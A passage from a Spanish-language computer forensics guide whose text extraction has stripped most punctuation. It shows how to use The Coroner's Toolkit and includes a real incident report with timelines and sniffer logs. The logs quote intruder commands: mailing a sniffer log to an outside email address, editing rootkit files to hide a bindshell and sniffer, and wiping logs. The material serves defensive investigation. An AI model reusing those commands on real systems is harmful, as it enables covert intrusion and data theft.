FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

